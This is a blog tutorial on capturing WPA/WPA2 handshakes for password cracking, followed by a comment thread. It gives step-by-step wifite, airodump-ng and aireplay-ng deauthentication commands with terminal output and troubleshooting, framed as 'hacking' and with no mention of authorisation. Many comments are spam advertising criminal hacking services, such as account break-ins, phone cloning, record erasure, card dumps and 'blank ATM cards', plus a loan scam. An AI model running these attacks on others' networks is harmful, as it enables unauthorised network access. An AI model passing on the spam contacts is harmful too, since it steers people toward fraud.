Friday, June 13, 2014

Hack WPA/WPA2 PSK Capturing the Handshake

 WPA password hacking


Okay, so hacking WPA-2 PSK involves 2 main steps-
  1. Getting a handshake (it contains the hash of password, i.e. encrypted password)
  2. Cracking the hash.

Now the first step is conceptually easy. What you need is you, the attacker, a client who'll connect to the wireless network, and the wireless access point. What happens is when the client and access point communicate in order to authenticate the client, they have a 4 way handshake that we can capture. This handshake has the hash of the password. Now there's no direct way of getting the password out of the hash, and thus hashing is a robust protection method. But there is one thing we can do. We can take all possible passwords that can exists, and convert them to hash. Then we'll match the hash we created with the one that's there in the handshake. Now if the hashes match, we know what plain text password gave rise to the hash, thus we know the password. If the process sounds really time consuming to you, then its because it is. WPA hacking (and hash cracking in general) is pretty resource intensive and time taking process. Now there are various different ways cracking of WPA can be done. But since WPA is a long shot, we shall first look at the process of capturing a handshake. We will also see what problems one can face during the process (I'll face the problems for you). Also, before that, some optional wikipedia theory on what a 4-way handshake really is (you don't want to become a script kiddie do you?)

The Four-Way Handshake

The authentication process leaves two considerations: the access point (AP) still needs to authenticate itself to the client station (STA), and keys to encrypt the traffic need to be derived. The earlier EAP exchange or WPA2-PSK has provided the shared secret key PMK (Pairwise Master Key). This key is, however, designed to last the entire session and should be exposed as little as possible. Therefore the four-way handshake is used to establish another key called the PTK (Pairwise Transient Key). The PTK is generated by concatenating the following attributes: PMK, AP nonce (ANonce), STA nonce (SNonce), AP MAC address, and STA MAC address. The product is then put through PBKDF2-SHA1 as the cryptographic hash function.
The handshake also yields the GTK (Group Temporal Key), used to decrypt multicast and broadcast traffic. The actual messages exchanged during the handshake are depicted in the figure and explained below:
  1. The AP sends a nonce-value to the STA (ANonce). The client now has all the attributes to construct the PTK.
  2. The STA sends its own nonce-value (SNonce) to the AP together with a MIC, including authentication, which is really a Message Authentication and Integrity Code: (MAIC).
  3. The AP sends the GTK and a sequence number together with another MIC. This sequence number will be used in the next multicast or broadcast frame, so that the receiving STA can perform basic replay detection.
  4. The STA sends a confirmation to the AP.
All the above messages are sent as EAPOL-Key frames.
As soon as the PTK is obtained it is divided into five separate keys:
PTK (Pairwise Transient Key – 64 bytes)
  1. 16 bytes of EAPOL-Key Confirmation Key (KCK)– Used to compute MIC on WPA EAPOL Key message
  2. 16 bytes of EAPOL-Key Encryption Key (KEK) - AP uses this key to encrypt additional data sent (in the 'Key Data' field) to the client (for example, the RSN IE or the GTK)
  3. 16 bytes of Temporal Key (TK) – Used to encrypt/decrypt Unicast data packets
  4. 8 bytes of Michael MIC Authenticator Tx Key – Used to compute MIC on unicast data packets transmitted by the AP
  5. 8 bytes of Michael MIC Authenticator Rx Key – Used to compute MIC on unicast data packets transmitted by the station
The Michael MIC Authenticator Tx/Rx Keys provided in the handshake are only used if the network is using TKIP to encrypt the data.


 By the way, if you didn't understand much of it then don't worry. There's a reason why people don't  search for hacking tutorials on Wikipedia (half the stuff goes above the head)

Capturing The Handshake

Now there are several (only 2 listed here) ways of capturing the handshake. We'll look at them one by one-
  1. Wifite (easy and automatic)
  2. Airodump-ng (easy but not automatic, you manually have to do what wifite did on its own)

Wifite

Methodology

We'll go with the easy one first. Now you need to realize that for a handshake to be captured, there needs to be a handshake. Now there are 2 options, you could either sit there and wait till a new client shows up and connects to the WPA network, or you can force the already connected clients to disconnect, and when they connect back, you capture their handshake. Now while other tutorials don't mention this, I will (such a good guy I am :) ). Your network card is good at receiving packets, but not as good in creating them. Now if your clients are very far from you, your deauth requests (i.e. please get off this connection request) won't reach them, and you'll keep wondering why you aren't getting any handshake (the same kind of problem is faced during ARP injection and other kind of attacks too). So, the idea is to be as close to the access point (router) and the clients as possible. Now the methodology is same for wifite and airodump-ng method, but  wifite does all this crap for you, and in case of airodump-ng, you'll have to call a brethren (airreply-ng) to your rescue. Okay enough theory.

Get the handshake with wifite

Now my configuration here is quite simple. I have my cellphone creating a wireless network named 'me' protected with wpa-2. Now currently no one is connected to the network. Lets try and see what wifite can do.

root@kali:~# wifite
  .;'                     `;,
 .;'  ,;'             `;,  `;,   WiFite v2 (r85)
.;'  ,;'  ,;'     `;,  `;,  `;,
::   ::   :   ( )   :   ::   ::  automated wireless auditor
':.  ':.  ':. /_\ ,:'  ,:'  ,:'
 ':.  ':.    /___\    ,:'  ,:'   designed for Linux
  ':.       /_____\      ,:'
           /       \     


 [+] scanning for wireless devices...
 [+] enabling monitor mode on wlan0... done
 [+] initializing scan (mon0), updates at 5 sec intervals, CTRL+C when ready.
 [0:00:04] scanning wireless networks. 0 targets and 0 clients found

 [+] scanning (mon0), updates at 5 sec intervals, CTRL+C when ready.
   NUM ESSID                 CH  ENCR  POWER  WPS?  CLIENT
   --- --------------------  --  ----  -----  ----  ------
    1  me                     1  WPA2  57db   wps
    2  *******              11  WEP   21db    no   client
    3  **************   11  WEP   21db    no

Now as you can see, my network showed up as 'me'. I pressed ctrl+c and wifite asked me which target to attack (the network has wps enabled. This is an added bonus, reaver can save you from all the trouble. Also, wifite will use reaver too to skip the whole WPA cracking process and use a WPS flaw instead. We have a tutorial on hacking WPA WPS using Reaver already, in this tutorial we'll forget that this network has WPS and capture the handshake instead)
[+] select target numbers (1-3) separated by commas, or 'all':
Now I selected the first target,  i.e. me. As expected, it had two attacks in store for us. First it tried the PIN guessing attack. It has almost 100% success rate, and would have given us the password had I waited for 2-3 hours. But I pressed ctrl+c and it tried to capture the handshake. I waited for 10-20 secs, and then pressd ctrl+c. No client was there so no handshake could be captured. Here's what happened.
[+] 1 target selected.
 [0:00:00] initializing WPS PIN attack on me (02:73:8D:37:A7:ED)
^C0:00:24] WPS attack, 0/0 success/ttl,
 (^C) WPS brute-force attack interrupted
 [0:08:20] starting wpa handshake capture on "me"
 [0:08:05] listening for handshake...             
 (^C) WPA handshake capture interrupted
 [+] 2 attacks completed:
 [+] 0/2 WPA attacks succeeded
 [+] disabling monitor mode on mon0... done
 [+] quitting

Now I connected my other PC to 'me'. Lets do it again. This time a client will show up, and wifite will de-authenticate it, and it'll try to connect again. Lets see what happens this time around.


   NUM ESSID                 CH  ENCR  POWER  WPS?  CLIENT
   --- --------------------  --  ----  -----  ----  ------
    1  *    1  WPA   99db    no   client
    2  me  1 WPA2  47db   wps   client
    3  *    11  WEP   22db    no   clients
    4  *   11  WEP   20db    no

 [+] select target numbers (1-4) separated by commas, or 'all': 2
 [+] 1 target selected.
 [0:00:00] initializing WPS PIN attack on me (02:73:8D:37:A7:ED)
^C0:00:07] WPS attack, 0/0 success/ttl,
 (^C) WPS brute-force attack interrupted
 [0:08:20] starting wpa handshake capture on "me"
 [0:07:51] listening for handshake...             
 (^C) WPA handshake capture interrupted
 [+] 2 attacks completed:
 [+] 0/2 WPA attacks succeeded
 [+] quitting


Now the deauth attacks weren't working. This time I increased the deauth frequency.
root@kali:~# wifite -wpadt 1
Soon, however, I realized, that the problem was that I was using my internal card (Kali Live USB). It does not support packet injection, so deauth wasn't working. So time to bring my external card to the scene.

root@kali:~# wifite
  .;'                     `;,
 .;'  ,;'             `;,  `;,   WiFite v2 (r85)
.;'  ,;'  ,;'     `;,  `;,  `;,
::   ::   :   ( )   :   ::   ::  automated wireless auditor
':.  ':.  ':. /_\ ,:'  ,:'  ,:'
 ':.  ':.    /___\    ,:'  ,:'   designed for Linux
  ':.       /_____\      ,:'
           /       \     


 [+] scanning for wireless devices...
 [+] available wireless devices:
  1. wlan1        Ralink RT2870/3070    rt2800usb - [phy1]
  2. wlan0        Atheros     ath9k - [phy0]
 [+] select number of device to put into monitor mode (1-2):


See, we can use the USB card now. This will solve the problems for us.
Now look at wifite output
   NUM ESSID                 CH  ENCR  POWER  WPS?  CLIENT
   --- --------------------  --  ----  -----  ----  ------
    1  me                     1  WPA2  44db   wps   client
    2  *                       11  WEP   16db    no   client
    3  *                         11  WEP   16db    no

 [+] select target numbers (1-3) separated by commas, or 'all':
Now I attack the target. This time, finally, I captured a handshake.
 [+] 1 target selected.
 [0:00:00] initializing WPS PIN attack on me (02:73:8D:37:A7:ED)
^C0:00:01] WPS attack, 0/0 success/ttl,
 (^C) WPS brute-force attack interrupted
 [0:08:20] starting wpa handshake capture on "me"
 [0:07:23] listening for handshake...             
 [0:00:57] handshake captured! saved as "hs/me_02-73-8D-**-**-**.cap"
 [+] 2 attacks completed:
 [+] 1/2 WPA attacks succeeded
        me (02:73:8D:37:A7:ED) handshake captured
        saved as hs/me_02-73-8D-**-**-**.cap

 [+] starting WPA cracker on 1 handshake
 [!] no WPA dictionary found! use -dict <file> command-line argument
 [+] disabling monitor mode on mon0... done
 [+] quitting
As you can see, it took me 57 seconds to capture the handshake (5 deauth requests were sent, one every 10 secs is defualt). The no dictionary error shouldn't bother you. We'll use Wifite only to capture the handshake. Now the captured handshake was saved as a .cap file which can be cracked using aircrack, pyrit, hashcat (after converting .hccap), etc. using either a wordlist or bruteforce. Let's see how to do the same thing with airodump-ng. This time I won't show you the problems you might run into. It'll be a perfect ride, all the problems were seen in wifite case.



Capturing Handshake with Airodump-ng

Now if you skipped everything and got right here, then you are missing a lot of things. I'll end this pretty quick, as the wifite thing was quite detailed. I'm copying stuff from http://www.kalitutorials.net/2013/08/wifi-hacking-wep.html where I already discussed airodump-ng. (If you are not a newbie, skip to the point where you see root@kali in red)

1. Find out the name of your wireless adapter.



Alright, now, your computer has many network adapters, so to scan one, you need to know its name. So there are basically the following things that you need to know-
  • lo - loopback. Not important currently.
  • eth - ethernet
  • wlan - This is what we want. Note the suffix associated.
Now, to see all the adapters, type ifconfig on a terminal. See the result. Note down the wlan(0/1/2) adapter.


Trouble with the wlan interface not showing up. This is because virtual machines can't use internal wireless cards and you will have to use external cards. You should try booting Kali using Live USB (just look at the first part of this tutorial), or buy an external card.

2. Enable Monitor mode

Now, we use a tool called airmon-ng to  create a virtual interface called mon. Just type 
airmon-ng start wlan0
 Your mon0 interface will be created.



3. Start capturing packets

Now, we'll use airodump-ng to capture the packets in the air. This tool gathers data from the wireless packets in the air. You'll see the name of the wifi you want to hack.
airodump-ng mon0

4. Store the captured packets in a file 

This can be achieved by giving some more parameters with the airodump command
airodump-ng mon0 --write name_of_file


Non newbies-
root@kali:~# airmon-ng start wlan1
root@kali:~# airodump-ng mon0 -w anynamehere

 Now copy the bssid field of your target network (from airodump-ng ng screen)and launch a deauth attack with aireplay-ng

 root@kali:~# aireplay-ng --deauth 0 -a BSSID here mon0

The --deauth tells aireplay to launch a deauth attack. 0 tell it to fire it at interval of 0 secs (very fast so run it only for a few secs and press ctrl+c). -a will required BSSID and replace BSSID here with your target BSSID. mon0 is the interface you created.
In case you face problems with the monitor mode hopping from one channel to another, or problem with beacon frame, then fix mon0 on a channel using-
root@kali:~# airodump-ng mon0 -w anynamehere -c 1
Replace 1 with the channel where your target AP is. You might also need to add --ignore-negative-one if aireplay demands it. In my case airodump-ng says fixed channel mon0: -1 so this was required. (It's a bug with aircrack-ng suite).

Now when you look at the airodump-ng screen, you'll see that at the top right it says WPA handshake captured . Here is what it looks like
 CH  1 ][ Elapsed: 24 s ][ 2014-06-13 22:41 ][ WPA handshake: **                                 
                                                                                                                                             
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                             
 02:73:8D:37:A7:ED  -47  75      201       35    0   1  54e  WPA2 CCMP   PSK  me                                                                
                                                                                                                                             
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                   
                                                                                                                                             
 *                     *                            0    0e- 1    742       82  me                                                                       
*                       *                           -35  0e- 1      0   26                                                                                   

You can confirm it by typing the following
root@kali:~# aircrack-ng anynamehere-01.cap
Opening anynamehere-01.cap
Read 212 packets.
   #  BSSID              ESSID                     Encryption
   1  **************  me                        WPA (1 handshake)
   2  **                          Unknown



Happy cracking, all that needs to be done in this tutorial has been done. Its been a long one. Hope it helped you. The next tutorial, if you need it, is about cracking the captured handshake. Good luck.

98 comments:

  1. I'm visiting your site for the first time, and I found this to be a very good tutorial. Good job for all the explanation, and giving hints on what else to look up on Wikipedia/Google to gain a greater understanding. Keep up the great work as I go through your other posts! Thank you. -Student

    ReplyDelete
    Replies
    1. Thanks for the appreciation. Keeps me motivated and helps me write better tutorials.

      Delete
    2. I want to hack instagram.how I have to do

      Delete
  2. Hello shashwat, How can i increase my cracking speed using my NVIDIA graphic card

    ReplyDelete
    Replies
    1. I am writing a tutorial on this soon... I have been busy for the year but now I have time at hand.

      Delete
    2. hashcat can do this, here is a tutorial on that:
      https://www.blackmoreops.com/2014/03/27/cracking-wpa-wpa2-with-hashcat-kali-linux/

      Delete
  3. keep writing !
    very good articles !

    ReplyDelete
  4. It was such a brilliant approach. I would like to know how to convert .cap to .hccap and cracking it with pyrit, aircrack-ng and hashcat without dictionary or password list?

    ReplyDelete
    Replies
    1. look at those two sites:
      1. https://www.blackmoreops.com/2014/03/27/cracking-wpa-wpa2-with-hashcat-kali-linux/
      2. https://www.blackmoreops.com/2014/03/10/cracking-wifi-wpawpa2-passwords-using-pyrit-cowpatty/
      There is a good explanation. This approach uses neither wordlists nor brute force, but i haven't really read it yet, so I don't know how effective it is:
      http://null-byte.wonderhowto.com/forum/kali-linux-rolling-2-0-fluxion-crack-wpa-wpa2-wifi-password-without-dictionary-brute-fore-attack-0170864/

      Delete
  5. [#] Drone Hijacking With Maldrone — Drone Malware

    http://beinghaxor.blogspot.com/2015/05/drone-hijacking-with-maldrone-drone.html

    ReplyDelete
  6. Thank You. These tutorials are Great. Keep writing.

    ReplyDelete
  7. You had it well explained but since you used the aircrack suite
    1-You should disclose where the caphs-01cap is stored
    2-show the command for the use of aircrack to crack the password
    3-Or disclose other program run to do the final crack

    ReplyDelete
  8. I just want to say that this is a very good tutorial :)

    ReplyDelete
  9. Very good tutorial...keep it up bro.

    ReplyDelete
  10. I found this page by searching success/ttl as i wanted to find out what ttl stood for? isit time to live? or what?

    ReplyDelete
    Replies
    1. "Time to live" haha. It means "total"

      Delete
  11. Does using Live USB enable the internal wireless card enable it to inject packets easier to establish the handshakes or does the computer/laptop need to have an external wireless card to inject packets to get the handshake, regardless of using the Live USB?

    ReplyDelete
    Replies
    1. depends. But in nearly all cases, an external card is better than the internal one (especially in regard on performance an compatibility) an only costs like 15$, so it's worth a try

      Delete
  12. everything is good Except Capturing that handshaking packet.. .. the problem is .. it takes too much time to capture that packet..!! is there any way to do it fast?

    ReplyDelete
    Replies
    1. normally, it should only take seconds. If it takes a long time, there might be something wrong. If your using wifite, there is a bug I explained in reply to a comment from May 25, 2016 at 11:34 PM, just look down the page

      Delete
  13. Everytime i use airodump no devices show up underneath BSSID, i have installed a wireless card as i am running kali linux on a virtual machine. Is there a way to fix this as i know there are devices on my network, and another network i am running using a wireless receiver. I just used wifite to see if anything different would happen and nothing. The other day i left airodump on for 6 hours scanning and nothing appeared. Any ideas on what to do?

    ReplyDelete
    Replies
    1. There could be some issues with channel hopping. Try and set channels manually to 1,6,11 and see if anything shows up.

      Delete
    2. Try ifconfig and see if your wifi-card shows up. If it doesn't, it's maybe incompatible

      Delete
  14. very nice man best one iv seen and iv been looking at this kind of stuff for 8 years

    ReplyDelete
  15. I was testing on my own network, i got the handshake with # wifite -mac -aircrack -dict

    For some reason wifite wont find the wordlist file... ok, then i did # aircrack-ng <.cap> -w (also tried the -a 2 option)
    but it just wont pick the password... There is just one entery (9 carecters) and it just says that the password isnt in the wordlist... I even tried Crunch with given letters and let it do its thing for like 13 minutes and im sure it passed the correct one and still it wont pick it up... is there something wrong with the handshake file?

    ReplyDelete
  16. Hi ,SHASHWAT CHAUDHARY

    As you said, "you can force the already connected clients to disconnect".

    How can i do that? thanks.

    ReplyDelete
    Replies
    1. Search on google for the term Deauthentication (add wireless hacking to get more specific results).

      Delete
    2. Also, wifite does that automatically after selecting the network. Or you can do it manually with aireplay:
      aireplay-ng —deauth 0 -a BSSID CARD
      (replace BSSID and CARD with the one that you use)

      Delete
  17. Wifite not able to capture any handshake....
    Can you help me with it ??
    also i need to talk to you...
    Please leave a comment how can I connect to you ?

    ReplyDelete
    Replies
    1. In General > Contact Us, the following mailadress is given: admin@kalitutorials.net
      In the new version of Kali (2.0) wich you are most likely using, Wifite has a bug because of wich capturing the handshake fails. In the newest version of wifite this is fixed, but in Kali, the update-function of Wifite (wifite --update i think) won't find the newest version. Solutions are shown on this site for example: http://www.rootsh3ll.com/2015/10/rwsps-automated-wifi-wep-wpa2-wps-cracking-ch4/ . You will basically just have to update manually.

      Delete
  18. is there a way for us to decrypt the captured file from our handshake? well dictionary attacks are not that good not unless you have all the combinations of ASCII words in one list or so, Crunch will eat your box's resources if we will use it for that kind of attack as well.

    Is it possible?

    ReplyDelete
    Replies
    1. I recommend to read this article about hashcat: https://www.blackmoreops.com/2014/03/27/cracking-wpa-wpa2-with-hashcat-kali-linux/ and this one about Pyrite and Cowpatty: https://www.blackmoreops.com/2014/03/10/cracking-wifi-wpawpa2-passwords-using-pyrit-cowpatty/.
      They are both really good written and can save you some time when it comes to decrypting.
      But what you might have thought of is this: http://null-byte.wonderhowto.com/forum/kali-linux-rolling-2-0-fluxion-crack-wpa-wpa2-wifi-password-without-dictionary-brute-fore-attack-0170864/
      It's author claims to crack the password without brute force/Dictionary. I haven't really looked at it yet, so no guarantee this works.

      Delete
  19. Cracking wifi using aircrack-ng.
    https://codeminds.org/2016/06/hack-wi-fi-cracking-wpa2-psk-passwords-using-aircrack-ng.html

    ReplyDelete
  20. some time wpa hanshake not found so how to solve this problems

    ReplyDelete
  21. This site is amazing. However, i've installed kali linux on the hard-drive of a windows vista machine. The wireless adapter is a broadcom bcm4311 802.11b/g. I've used both wifite and airmon-ng/airreplay-ng and on both, i watch my other machine (a chromebook) disconnect due to the deauth broadcast. But when it reconnects right away, neither airmon nor wifite capture the handshake. I've got all three devices (2 computers and router) in the same room. Could there be a setting i'm missing? Or maybe my Wireless Adapter isnt compatible? What could be the issue here? There's no error it just keeps cycling trying to deauthenticate and capture the handshake.

    ReplyDelete
    Replies
    1. Little more information: When i use the command airmon-ng start wlan0 to start the monitoring interface, it shows the interface, says the driver is b43, and under chipset, it says "non-mac80211 device? (report this!). Idk if that has anything to do with it?

      Delete
  22. i already got handshake, and capturing key from fake ap. but in Wifi Information : bash: /tmp/TMPflux/handcheck: Permission denied

    i tried to input (the right key of wifi that i attacked) from 192.168.1.1 in my browser, but the key not shown for final KEY FOUND by fluxion. as i did first time.

    anyone can help?

    thanks for answer

    ReplyDelete
    Replies
    1. I don't know why you have written a comment about Fluxion here. Anyways, I'm not able to understand exactly what is going on, so could you follow the steps that I have shown in the Fluxion tutorial, and then tell exactly where you are facing issues (and comment on that post itself, not here).

      Delete
  23. Hello! First I want to thank for taking the time of doing these tutorials :). I'm having a little problem here. I'm using all the tools of kali but in Ubuntu, downloaded them via Katoolin, so I don't know if that's the problem why I cant get to catch the handshake in Wifite. I'm doing everything exactly like the tutorial, and the deauth packages work because I can see how the phone disconnects from the wifi everytime Wifite says the packages are sent, but it doesn't catch anything. I've tried messing with the interval of time in which the packages are sent (1 second, 20 seconds, none of them work). For the network I'm using a WPA2-PSK Wifi hotspot from another phone running Android 6.0

    ReplyDelete
  24. [!] no WPA dictionary found! use -dict command-line argument.

    hai, im new and this really bothers me. no matter which solutions i followed still dictionary not found. im using the kali linux built in bundled rockyou.txt dictionary.

    please someone help me

    ReplyDelete
  25. The reasons youngsters cyberbully each other are numerous. Now and again youngsters are holding resentment against their casualty.how can i monitor my childs text messages for free

    ReplyDelete
  26. I captured handshakes but I hadn't given the name to them in advance and now I want to know where they have been saved in my pc. Where are handshakes store by default in Kali Linux, I used airdump-ng?

    ReplyDelete
  27. Immediately drawn by writer’s exclusive way of writing.
    Instaport password hacker

    ReplyDelete
  28. http://www.lovebugliving.com/2014/03/ikea-expedit-hack-platform-bed.html?showComment=1546240549036#c6589910254154456097

    ReplyDelete
  29. Amazing! Congratulations. I'm at my weight loss journey also. I lost 30 pounds and have 30 more too loss. Thank you for your story. God bless z day hearts of heroes hack

    ReplyDelete
  30. H MY GOD I LOST 3 INCHES FROM MY WAIST. I AM TOO SHOCKED TO BELIEVE IT AND I LOST WEIGHT TOO. DON'T THINK TWICE BEFORE DOING IT JUST DO IT.
    landlord real estate tycoon hack

    ReplyDelete
  31. contact elizabethjone146@gmail.com
    best hackers it help me to hack my my husband old account hello everybody if you want to hack anything social media like Gmail Facebook Hotmail account Snapchat Yahoo line Instagram WhatsApp account icould password Apple remove icould password Twitter account POS bank account details kik dating site tracking someone dating site cheating man or woman criminal record phone number hack PayPal iMessage account telegram Bitcoin SSN aol Outlook anything social media just contact elizabethjone146@gmail.com or text them on Whatsapp+18573255825 best hacker it help me many people am very surprised am happy just contact them you will happy

    ReplyDelete
  32. I know a real professional team of hackers who has worked for me twice in the past one month. They are very good at hacking. They offer legitimate services such as clearing of bad records online, without it being traced backed to you, he clones phones, hacks DATABASE, hacks facebook, instagram, WHATSAPP, emails, twitter, bank accounts, REPA. change of grades. They also help to retrieve accounts that have been taken by hackers. Contact: elizabethjone146@gmail.com
    whatsap +18573255825

    ReplyDelete
  33. contact : elizabethjone146@gmail.com WhatsApp +18573255825 Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need to retrieve your stolen bitcoin?
    Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : elizabethjone146@gmail.com WhatsApp +18573255825

    ReplyDelete
  34. best hacker WHAT ARE YOU SEEKING?
    WE ARE GREATER THAN OTHERS IN HACKING PROFESSIONALISM.LETS HELP YOU WITH YOUR HACKING NEEDS. IN THE FOLLOWING AREAS SUCH AS.
    Erasing of criminal records,
    Do you need to hack into any SCHOOL DATABASE server?
    How To Check Someones Text Messages Online
    improve your CREDIT SCORE?
    HACK ANY PHONE without having physical access?
    Hack all kinds of SOCIAL MEDIA ACCOUNTS?
    Hack all EMAIL ACCOUNTS?
    hack b t c
    Hack SOMEONE LOCATION?
    Contact elizabethjone146@gmail.com
    WhatsApp +18573255825

    ReplyDelete
  35. Never settle for a cheating spouse. Contact elizabethjone146@gmail.com
    WhatsApp +18573255825 for any form of hack like
    1-DATABASE HACK.
    2-WHATSAPP HACK
    3-WEBSITE HACK
    4-TRACKING CALLS
    5-PHONE CLONE
    6-FACEBOOK HACK
    7-CHANGE SCHOOL GRADE
    8-ONLINE RECORDS CHANGES
    9-BANK ACCOUNT HACK
    10-ERASE CRIMINAL RECORDS
    11-ONLINE HACKING LECTURES
    12-WORLD PRESS BLOGS HACK
    13-CONTROL DEVICES REMOTELY HACK
    14-SALES OF DUMPS CARDS & CC OF ALL KIND
    15-RETRIVAL OF HACKED SOCIAL MEDIA ACCOUNTS
    16-INCREASE CREDIT SCORE
    i have used this hacker services more than 5 times and it has always worked try him and thank me later. you Contact elizabethjone146@gmail.com
    WhatsApp +18573255825

    ReplyDelete
  36. well this is just a topic i can not begin to comprehend

    ReplyDelete
  37. best hacker A hacker that can do all form of jobs you want is AVAILABLE read till the end for his EMAIL. Contact elizabethjone146@gmail.com
    WhatsApp +18573255825
    1-DATABASE HACK
    2-WHATS-APP HACK
    3-WEBSITE HACK
    4-TRACKING CALLS
    5-PHONE CLONE
    6-FACEBOOK HACK
    7-CHANGE SCHOOL GRADE
    8-ONLINE RECORDS CHANGES
    9-BANK ACCOUNT HACK
    10-ERASE CRIMINAL RECORDS
    11-ONLINE HACKING LECTURES
    12-WORLD PRESS BLOGS HACK
    13-CONTROL DEVICES REMOTELY HACK
    14-SALES OF DUMPS CARDS & CC OF ALL KIND
    15-RETRIVAL OF HACKED SOCIAL MEDIA ACCOUNTS
    16-INCREASE CREDIT SCORE
    17.- CRACK YAHOO! MAIL PASSWORD
    18.- CRACK MSN / HOTMAIL PASSWORD
    19.- CRACK AOL/ AIM PASSWORD
    20.- CRACK GMAIL / GOOGLE PASSWORD
    21.- CRACK MySPACE PASSWORD
    22.- CRACK COMCAST PASSWORD
    23.- CRACK SBCBLOBAL PASSWORD
    24.- CRACK TISCALI PASSWORD
    25.- CRACK FRIENDSTER PASSWORD
    26.- CRACK FACEBOOK PASSWORD
    27.- CRACK MAIL.RU PASSWORD
    28.- CRACK RAMBLER PASSWORD
    29.- CRACK GMX PASSWORD
    30.- CRACK ROGERS PASSWORD
    31.- CRACK BTinternet PASSWORD
    Contact elizabethjone146@gmail.com
    WhatsApp +18573255825

    ReplyDelete
  38. Hello Everybody,
    My name is Mrs Sharon Sim. I live in Singapore and i am a happy woman today? and i told my self that any lender that rescue my family from our poor situation, i will refer any person that is looking for loan to him, he gave me happiness to me and my family, i was in need of a loan of $250,000.00 to start my life all over as i am a single mother with 3 kids I met this honest and GOD fearing man loan lender that help me with a loan of $250,000.00 SG. Dollar, he is a GOD fearing man, if you are in need of loan and you will pay back the loan please contact him tell him that is Mrs Sharon, that refer you to him. contact Dr Purva Pius, call/whats-App Contact Number +918929509036 via email:(urgentloan22@gmail.com) Thank you.

    ReplyDelete
  39. contact : elizabethjone146@gmail.com WhatsApp +18573255825 Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need to retrieve your stolen bitcoin?
    Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : elizabethjone146@gmail.com WhatsApp +18573255825

    ReplyDelete
  40. contact : elizabethjone146@gmail.com WhatsApp +18573255825 Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need to retrieve your stolen bitcoin?
    Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : elizabethjone146@gmail.com WhatsApp +18573255825

    ReplyDelete
  41. Never settle for a cheating spouse. Contact elizabethjone146@gmail.com
    WhatsApp +18573255825 for any form of hack like
    1-DATABASE HACK.
    2-WHATSAPP HACK
    3-WEBSITE HACK
    4-TRACKING CALLS
    5-PHONE CLONE
    6-FACEBOOK HACK
    7-CHANGE SCHOOL GRADE
    8-ONLINE RECORDS CHANGES
    9-BANK ACCOUNT HACK
    10-ERASE CRIMINAL RECORDS
    11-ONLINE HACKING LECTURES
    12-WORLD PRESS BLOGS HACK
    13-CONTROL DEVICES REMOTELY HACK
    14-SALES OF DUMPS CARDS & CC OF ALL KIND
    15-RETRIVAL OF HACKED SOCIAL MEDIA ACCOUNTS
    16-INCREASE CREDIT SCORE
    i have used this hacker services more than 5 times and it has always worked try him and thank me later. Contact elizabethjone146@gmail.com
    WhatsApp +18573255825

    ReplyDelete
  42. Never settle for a cheating spouse. Contact elizabethjone146@gmail.com
    WhatsApp +18573255825 for any form of hack like
    1-DATABASE HACK.
    2-WHATSAPP HACK
    3-WEBSITE HACK
    4-TRACKING CALLS
    5-PHONE CLONE
    6-FACEBOOK HACK
    7-CHANGE SCHOOL GRADE
    8-ONLINE RECORDS CHANGES
    9-BANK ACCOUNT HACK
    10-ERASE CRIMINAL RECORDS
    11-ONLINE HACKING LECTURES
    12-WORLD PRESS BLOGS HACK
    13-CONTROL DEVICES REMOTELY HACK
    14-SALES OF DUMPS CARDS & CC OF ALL KIND
    15-RETRIVAL OF HACKED SOCIAL MEDIA ACCOUNTS
    16-INCREASE CREDIT SCORE
    i have used this hacker services more than 5 times and it has always worked try him and thank me later. Contact elizabethjone146@gmail.com
    WhatsApp +18573255825

    ReplyDelete
  43. I am recommending a hacker who literally changed my life when he helped raise my credit score to over 750 from 420 and also removed negative items on my report. I could afford to get a good home for family, all thanks to Arthur Vitali, a professional Russian hacker.
    Contact him on his EMAIL- Quickarturhack (at)Gmail,com WHATSAPP + 380683017209 or Kik- Arturquickhack.
    He has also worked for a friend of mine clone his wife's phone without physical access, granting him access to the entire cellphone without the target knowing.

    ReplyDelete
  44. contact
    elizabethjone146@gmail.com or text them on Whatsapp +18573255825 Do you suspect your partner of cheating? are you being overly paranoid
    or seeing signs of infidelity?Then he sure is cheating: I was in that
    exact same position when I was referred through my best friend Monique
    who helped me hack into my girlfriend’s phone, it was like a miracle
    when he helped me clone my girlfriend phone and I got first-hand information
    from his phone. Now I get all his incoming and outgoing text messages, emails, call
    logs, web browsing history, photos and videos, instant messengers (facebook,whatsapp,bbm,IG
    etc) GPS locations, phone tap to get live transmissions
    on all phone conversations.You can also contact
    elizabethjone146@gmail.com or text them on Whatsapp +18573255825

    ReplyDelete
  45. I want to testify about United blank atm cards which can withdraw money from any atm machines around the world. I was very poor before and have no job. I saw so many testimony about how United hackers send them the atm blank card and use it to collect money in any atm machine and become rich. I email them also and they sent me the blank atm card. I have use it to get 90,000 dollars. withdraw the maximum of 5,000 USD daily. United hackers  is giving out the card just to help the poor. Hack and take money directly from any atm machine vault with the use of atm programmed card which runs in automatic mode.

    Email: unitedblankatmhackcard@gmail.com

    ReplyDelete

  46. One of the most prominent issues the students have to deal with while writing assignments is plagiarism. Hence, they extensively use plagiarism checker to check if there are any copied content in the paper.
    Another major reason for using plagiarism checkers is that universities do not accept plagiarized content. Plagiarism is a serious offence. Hence, if found, the students are suspended or might even lose the grades.
    Due to these limitations, it is evident that the plagiarism checking & wordcounter tool are not at all effective to check plagiarism. The term plagiarism is actually very broad. It is merely not coping with words. But these tools, unfortunately, detect words but not ideas. Hence, the chances of plagiarized papers remain.

    ReplyDelete
  47. Our best assignment services are renowned in the countries such as Australia, New Zealand, UK and US.
